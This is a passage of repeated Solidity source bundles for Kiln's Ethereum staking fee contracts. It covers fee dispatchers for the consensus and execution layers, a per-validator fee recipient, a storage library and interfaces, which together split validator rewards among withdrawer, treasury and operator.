of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: 